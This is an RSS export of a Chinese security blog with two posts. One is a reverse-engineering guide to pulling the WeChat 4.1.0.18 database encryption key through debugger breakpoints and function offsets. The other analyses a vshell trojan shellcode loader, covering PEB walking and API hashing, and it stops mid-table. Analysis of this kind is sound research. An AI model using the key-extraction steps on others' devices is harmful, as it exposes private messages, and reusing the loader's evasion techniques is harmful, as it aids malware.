<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>CSF</title><link>https://www.caozhexxgweb.cn/</link><description>村口曹师傅</description><item><title>【二进制】weixin4.1.0.18版本 通过hook获取key思路</title><link>https://www.caozhexxgweb.cn/?id=142</link><description>&lt;h1 id=&quot;h1-wcdb-sqlcipher-key-&quot;&gt;&lt;a name=&quot;WCDB / SQLCipher 动态调试抓取 Key 方法整理&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;WCDB / SQLCipher 动态调试抓取 Key 方法整理&lt;/h1&gt;&lt;h2 id=&quot;h2-1-&quot;&gt;&lt;a name=&quot;1. 前言&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;1. 前言&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;基于当前最新 weixin 4.1.0.18版本的思路&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;WCDB 基于 SQLite/SQLCipher 定制，数据库加密依赖 &lt;strong&gt;cipher key&lt;/strong&gt;。&lt;/li&gt;&lt;li&gt;加密流程：上层调用 &lt;code&gt;setCipherKey&lt;/code&gt; → 底层函数 &lt;code&gt;sub_183D75280&lt;/code&gt; / &lt;code&gt;sub_183D750F0&lt;/code&gt; → 调用 &lt;code&gt;sub_1828B11E0&lt;/code&gt; 生成 codec context → 安装到 Pager (&lt;code&gt;sub_183D71450&lt;/code&gt;)，并设置页级解密函数 &lt;code&gt;sub_183D74E50&lt;/code&gt;。&lt;/li&gt;&lt;li&gt;动态调试时，只要在 key 尚未进入派生/KDF 之前断点，就能直接 dump 出明文 key。&lt;/li&gt;&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;h2-2-key-&quot;&gt;&lt;a name=&quot;2. 抓取 Key 的关键函数链&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;2. 抓取 Key 的关键函数链&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;应用配置 / 迁移函数&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sub_1828B1B30&lt;/code&gt;：尝试 &lt;code&gt;PRAGMA cipher_compatibility=3/2/1&lt;/code&gt;，必要时 &lt;code&gt;ATTACH ... KEY&lt;/code&gt; + &lt;code&gt;sqlcipher_export()&lt;/code&gt;。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;设置密钥并发 PRAGMA&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;sub_1828B2230(db, keyPtr, keyLen, pragmaFmt, &amp;amp;userVer, &amp;amp;jmode)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;sub_183D75280(db, keyPtr, keyLen)&lt;/code&gt; 设置 key&lt;/li&gt;&lt;li&gt;再执行 &lt;code&gt;PRAGMA cipher_*&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;img src=&quot;/zb_users/upload/2025/08/202508281607572103949.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;设置密钥的核心函数&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;sub_183D75280(db, keyPtr, keyLen)&lt;/code&gt; → &lt;code&gt;sub_183D752A0&lt;/code&gt; → &lt;code&gt;sub_183D750F0&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;之后下断点在这里即可获取keyPtr&lt;/li&gt;&lt;li&gt;&lt;img src=&quot;/zb_users/upload/2025/08/202508281608206409171.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;在 &lt;code&gt;sub_183D750F0&lt;/code&gt; 内部调用 &lt;code&gt;sub_1828B11E0&lt;/code&gt; 创建 codec_ctx，再通过 &lt;code&gt;sub_183D71450&lt;/code&gt; 安装 pager codec：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;xCodec&lt;/strong&gt; = &lt;code&gt;sub_183D74E50&lt;/code&gt; ← 页级解密函数&lt;/li&gt;&lt;li&gt;&lt;strong&gt;xCodecFree&lt;/strong&gt; = &lt;code&gt;sub_183D75240&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&quot;h2-3-&quot;&gt;&lt;a name=&quot;3. 动态调试断点位置&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;3. 动态调试断点位置&lt;/h2&gt;&lt;h3 id=&quot;h3-a-code-sub_183d75280-code-&quot;&gt;&lt;a name=&quot;A. 关键函数：&lt;code&gt;sub_183D75280&lt;/code&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;A. 关键函数：&lt;code&gt;sub_183D75280&lt;/code&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows x64 调用约定&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RCX = db handle&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;RDX = key 指针&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;R8D = key 长度&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;在函数入口下断 → 直接读取 &lt;code&gt;RDX&lt;/code&gt; 指向的内存，长度 &lt;code&gt;R8D&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;这就是明文 key&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;h3 id=&quot;h3-b-code-sub_183d750f0-code-&quot;&gt;&lt;a name=&quot;B. 下游：&lt;code&gt;sub_183D750F0&lt;/code&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;B. 下游：&lt;code&gt;sub_183D750F0&lt;/code&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;仍然带有 &lt;code&gt;a3=keyPtr, a4=keyLen&lt;/code&gt;，在 codec 创建前可抓取。&lt;/li&gt;&lt;/ul&gt;
&lt;h3 id=&quot;h3-c-codec-code-sub_1828b11e0-code-&quot;&gt;&lt;a name=&quot;C. Codec 创建：&lt;code&gt;sub_1828B11E0&lt;/code&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;C. Codec 创建：&lt;code&gt;sub_1828B11E0&lt;/code&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;参数同样包含 keyPtr/keyLen，用于派生实际页加解密密钥。&lt;/li&gt;&lt;li&gt;理论上也可以在这里抓，之后方法失效可以尝试。&lt;/li&gt;&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;h2-4-&quot;&gt;&lt;a name=&quot;4. 验证交叉点&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;4. 验证交叉点&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在调试器中 dump &lt;code&gt;RDX&lt;/code&gt; 地址的内存，按 &lt;code&gt;R8D&lt;/code&gt; 长度保存。&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;常见情况：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;32 字节随机高熵的二进制&lt;/strong&gt; → 直接就是 AES256/ChaCha20 key；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ASCII/UTF-8 字符串&lt;/strong&gt; → 是口令，后续会在 &lt;code&gt;sub_1828B11E0&lt;/code&gt; 里做 PBKDF2 派生。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;验证方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;后续进入页解密函数 &lt;code&gt;sub_183D74E50&lt;/code&gt;，在 &lt;code&gt;sqlite3OsRead&lt;/code&gt; 返回页后会被调用，对整页 buffer 解密；页头会从乱码变 &lt;code&gt;&amp;quot;SQLite format 3\0&amp;quot;&lt;/code&gt;。&lt;/li&gt;&lt;li&gt;或者直接使用&lt;a href=&quot;https://sqlitebrowser.org/&quot;&gt;DB Browser for SQLCipher&lt;/a&gt; 浏览原始数据库文件。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;h2-5-&quot;&gt;&lt;a name=&quot;5. 抓取示例&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;5. 抓取示例&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;注意：断点断在 dll基指+183D75280-18000000 其他地方也可以，具体看需求。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;h3-u8C03u8BD5u65F6u5BC4u5B58u5668u5FEBu7167&quot;&gt;&lt;a name=&quot;调试时寄存器快照&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;调试时寄存器快照&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;RDX = 00000237329BDB50   → key 指针
R8D = 0x20               → key 长度 32&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;h3--dump-32-&quot;&gt;&lt;a name=&quot;内存 dump（32 字节）&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;内存 dump（32 字节）&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;B1 8A 40 98 xxxxx FD 2C 4E 1C
64 EB 26 D3 xxxxx DE 70 E4 74&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;h3-u683Cu5F0Fu5316u8F93u51FA&quot;&gt;&lt;a name=&quot;格式化输出&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;格式化输出&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;Hex:&lt;br&gt;&lt;code&gt;b18a40xxxxxxx70e474&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/08/202508281610081131625.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3--key-rawkey&quot;&gt;&lt;a name=&quot;基于key获取rawkey&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;基于key获取rawkey&lt;/h3&gt;&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/08/202508281609394010711.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3--sqlcipher-browser-&quot;&gt;&lt;a name=&quot;使用 sqlcipher browser 浏览数据库&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;使用 sqlcipher browser 浏览数据库&lt;/h3&gt;&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/08/202508281610513584269.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3-u6210u529Fu8BBFu95EE&quot;&gt;&lt;a name=&quot;成功访问&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;成功访问&lt;/h3&gt;&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/08/202508281611106150935.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;h2-6-&quot;&gt;&lt;a name=&quot;6. 总之&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;6. 总之&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;下断 &lt;code&gt;sub_183D75280&lt;/code&gt; → 看 &lt;code&gt;RDX&lt;/code&gt; / &lt;code&gt;R8D&lt;/code&gt; → dump 内存 → 得到 key。&lt;/li&gt;&lt;li&gt;Key 会传递给 &lt;code&gt;sub_1828B11E0&lt;/code&gt; → codec_ctx → Pager (&lt;code&gt;sub_183D71450&lt;/code&gt;)。&lt;/li&gt;&lt;li&gt;页解密函数是 &lt;code&gt;sub_183D74E50&lt;/code&gt;。&lt;/li&gt;&lt;/ol&gt;
&lt;h2 id=&quot;h2-7-&quot;&gt;&lt;a name=&quot;7.最后&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;7.最后&lt;/h2&gt;&lt;p&gt;最后就可以通过hook的手段，通过插入int3然后强行读取rdx来然后取消hook就可以获取到key了，这里我就不展示了。&lt;/p&gt;
</description><pubDate>Thu, 28 Aug 2025 16:07:10 +0800</pubDate></item><item><title>【木马分析】vshell木马分析</title><link>https://www.caozhexxgweb.cn/?id=139</link><description>&lt;h1 id=&quot;h1-vshell-&quot;&gt;&lt;a name=&quot;vshell木马分析&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;vshell木马分析&lt;/h1&gt;&lt;div class=&quot;markdown-toc editormd-markdown-toc&quot;&gt;[TOC]&lt;/div&gt;&lt;h2 id=&quot;h2-u524Du8A00&quot;&gt;&lt;a name=&quot;前言&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;前言&lt;/h2&gt;&lt;p&gt;今天来分析一下这个vshll的shellcode加载器，首先我们导出bin，文件本地很小只有1kb，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507171709268461666.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507171709342932337.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;因为是汇编，所以直接拖入ida查看即可&lt;/p&gt;
&lt;h2 id=&quot;h2-u5165u53E3&quot;&gt;&lt;a name=&quot;入口&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;入口&lt;/h2&gt;&lt;p&gt;因为是shellcode，所以代码先保存了寄存器和空间&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;push r.. × 8    保存所有通用寄存器，防止被后续破坏。
lea rbp,[rsp-0x298]
sub rsp,0x398    在原来栈顶以下再开 0x398 字节的大栈帧。后面所有局部变量/拼字符串都放这里。&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171232175274355241870.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2-sub_45c-&quot;&gt;&lt;a name=&quot;sub_45C函数&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;sub_45C函数&lt;/h2&gt;&lt;p&gt;先说一下，这函数主要是通过函数hash来查找出这个函数的虚拟地址，这里的&lt;code&gt;726774Ch&lt;/code&gt;就是&lt;code&gt;kernel32.dll&lt;/code&gt;里的&lt;code&gt;LoadLibraryA&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171243175274356391134.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们进去sub_45C函数，想按F5发现F5大法失败了，说是要设置语言但实际不行，可能出bug了，只能硬着头皮看汇编了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171255175274357579894.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3-u8D77u59CBu90E8u5206&quot;&gt;&lt;a name=&quot;起始部分&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;起始部分&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;mov rax, rsp    暂存当前栈顶地址到 RAX，方便直接在红区里写数据。（并不是红区只是单存的保存寄存器状态）
mov [rax+8], rbx
mov [rax+10h], rbp
mov [rax+18h], rsi
mov [rax+20h], rdi    把调用的 4 个寄存器存在栈指针下方（未改变RSP他就不保存了）。
看样子是比平时一个个 push 更快。（其实我也不知道这样的设计的意义是什么）
push r14    额外保存 R14（后面要当循环计数器）。
sub rsp, 10h    腾出 0x10 字节的局部变量区，IDA 叫 var_18。&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;我发现上面我吧栈增长方向和栈顶下方的概念弄混了，原本想把文章改正的，但想想还是保留错误，在下面更正&lt;br&gt;栈增长方向这样理解没问题，栈顶下方确实是数值更小的地址&lt;br&gt;那就是说如果是rax-8才是用到红区，rax+8只是单存保存寄存器，所以我一开始有点不理解为什么用红区保存这些非关键寄存器。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171316175274359692949.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;h4-u8D77u59CBu540Eu7684u6808u6307u9488&quot;&gt;&lt;a name=&quot;起始后的栈指针&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;起始后的栈指针&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;栈指针&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;存的 rbx/rbp/rsi/rdi&lt;/td&gt;
&lt;td&gt;← RSP+0x0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;var_18 (16 B)&lt;/td&gt;
&lt;td&gt;← RSP-0x10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;保存的 r14&lt;/td&gt;
&lt;td&gt;← RSP-0x18&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;h3--peb-&quot;&gt;&lt;a name=&quot;取得 PEB 与第一模块（重点）&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;取得 PEB 与第一模块（重点）&lt;/h3&gt;&lt;p&gt;从刚刚开始我就一直好奇一个事情，就是我们可以看到这个exe的导入表都是空，那么怎么执行外部函数的呢&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171321175274360131833.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;h4--teb-peb-&quot;&gt;&lt;a name=&quot;这里简单带一下TEB和PEB的知识（网上都有）&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;这里简单带一下TEB和PEB的知识（网上都有）&lt;/h4&gt;&lt;p&gt;主要是我不知道&lt;code&gt;mov rax, qword ptr gs:loc_5C+4&lt;/code&gt;是什么查了一下才豁然开朗。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TEB&lt;ul&gt;
&lt;li&gt;TEB是每个线程都有，保存 TLS、异常链、自旋计数等纯线程级信息。通过 GS（x64）或 FS（x86）直接寻址。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;PEB&lt;ul&gt;
&lt;li&gt;每个进程 1 份，被所有线程共享。字段很多，但最常用的是：&lt;ul&gt;
&lt;li&gt;PEB-&amp;gt;Ldr → PEB_LDR_DATA：维护已加载模块链表。&lt;/li&gt;&lt;li&gt;PEB-&amp;gt;ProcessParameters：命令行、环境变量。&lt;/li&gt;&lt;li&gt;指向主进程堆、TLS 位图、异常处理列表、调试标志&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;也就是说他这里只要拿到 PEB，不调用任何 WinAPI 就能做到下面的操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;枚举出 kernel32.dll、ntdll.dll 等在 内存中的真实基址；&lt;/li&gt;&lt;li&gt;解析它们的导出表，手动拿到 LoadLibraryA、GetProcAddress 等地址；&lt;/li&gt;&lt;li&gt;进而做到免IAT、免明文字符串免API调用监控，做到免杀的效果。（但这个木马已经被杀烂了）&lt;/li&gt;&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;下面借用一下别人的说明&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Windows 每个进程的 PEB（Process Environment Block） 中有一个字段 PEB-&amp;gt;Ldr。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ldr 里有三条双向链表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;InLoadOrderModuleList&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;InMemoryOrderModuleList　← 本函数用的&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;InInitializationOrderModuleList&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;每个节点不是简单结构，而是大号 LDR_DATA_TABLE_ENTRY，里面既有链表指针，也记录 DLL 的各种信息。&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;重要偏移（Win10 x64 常见布局）：&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;偏移&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;InMemoryOrderLinks&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0x20&lt;/td&gt;
&lt;td&gt;当前链表的 &lt;code&gt;LIST_ENTRY&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DllBase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0x30&lt;/td&gt;
&lt;td&gt;模块基址（HMODULE）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BaseDllName&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0x58&lt;/td&gt;
&lt;td&gt;UNICODE_STRING，DLL 文件名（不含路径）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;InMemoryOrderModuleList 是循环链表：最后一个节点再指向 Ldr 里的头结点哑元；哑元的 DllBase 字段恒为 0。&lt;/li&gt;&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;上面借用一下别人的说明&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们继续看代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; 获取 PEB
mov     rax, gs:[0x60]          ; TEB → PEB  （= qword ptr gs:loc_5C+4）

; 保存调用参数
mov     ebp, ecx                ; 把目标哈希存进 EBP，后面循环都要用

; 计数寄存器清零
xor     r14d, r14d              ; r14d = 0，既代表“false”也当循环计数起点

; 走到 Ldr 模块链表
mov     rdx, [rax+0x18]         ; RDX = PEB-&amp;gt;Ldr
mov     r8,  [rdx+0x10]         ; R8  = Ldr-&amp;gt;InMemoryOrderModuleList.Flink
                                ;        （链表第 1 个 LDR_DATA_TABLE_ENTRY）&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;接下去的代码&lt;br&gt;就是不断循环查找链表然后计算hash是否和入参一致（忽然发现F5大法恢复了，瞬间舒服了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171326175274360675257.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;一共有两个return&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;return 0就说明已把所有模块都扫完，都没有这个函数，然后返回说明错误了&lt;code&gt;cmp [r8+30h], r14 → jz loc_54C&lt;/code&gt;这边做的比较然后跳到&lt;code&gt;loc_54C&lt;/code&gt;把&lt;code&gt;EAX&lt;/code&gt;置&lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;return v6，也就是循环的下一个模块的基址，v6在循环的时候就被定义了。&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171330175274361092685.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; 0x0495  外层循环取模块基址
mov     r9, [r8+30h]        ; R9 ← DllBase        → v6 = v5[6]

; 0x0519  函数名哈希命中后
lea     eax, [rbx+rdx]
cmp     eax, ebp
jz      loc_52E             ; 跳到构造返回值

; 0x052E  计算最终地址
mov     eax, [r10+24h]      ; AddressOfNameOrdinals
add     rax, r9             ;   ↑ 这里 r9 仍为 DLL 基址
…
mov     eax, [rcx+rdx*4]    ; Function RVA
add     rax, r9             ; RAX = r9 + RVA  → 返回
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;h2-u83B7u53D6u51FDu6570u57FAu6307&quot;&gt;&lt;a name=&quot;获取函数基指&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;获取函数基指&lt;/h2&gt;&lt;p&gt;了解了sub_45C我们看看很清楚了，他获取了一堆函数，然后吧基指放在了rbp中，有的也直接放在了r13、r15等寄存器里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ecx, &amp;lt;hash&amp;gt;
call sub_45C
mov  &amp;lt;某寄存器/栈&amp;gt;, rax&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171336175274361638220.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;对照后续调用可以推断出大致映射（&lt;del&gt;直接问ai了&lt;/del&gt;）：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;保存位置&lt;/th&gt;
&lt;th&gt;真实 API&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rbx&lt;/code&gt;（第二次）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;socket&lt;/code&gt;/&lt;code&gt;WSASocketA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;创建 TCP socket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r13&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;connect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;连接远程主机&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rsi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setsockopt&lt;/code&gt; 或 &lt;code&gt;select&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;调整 sock 参数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rdi&lt;/code&gt;&lt;/td&gt;
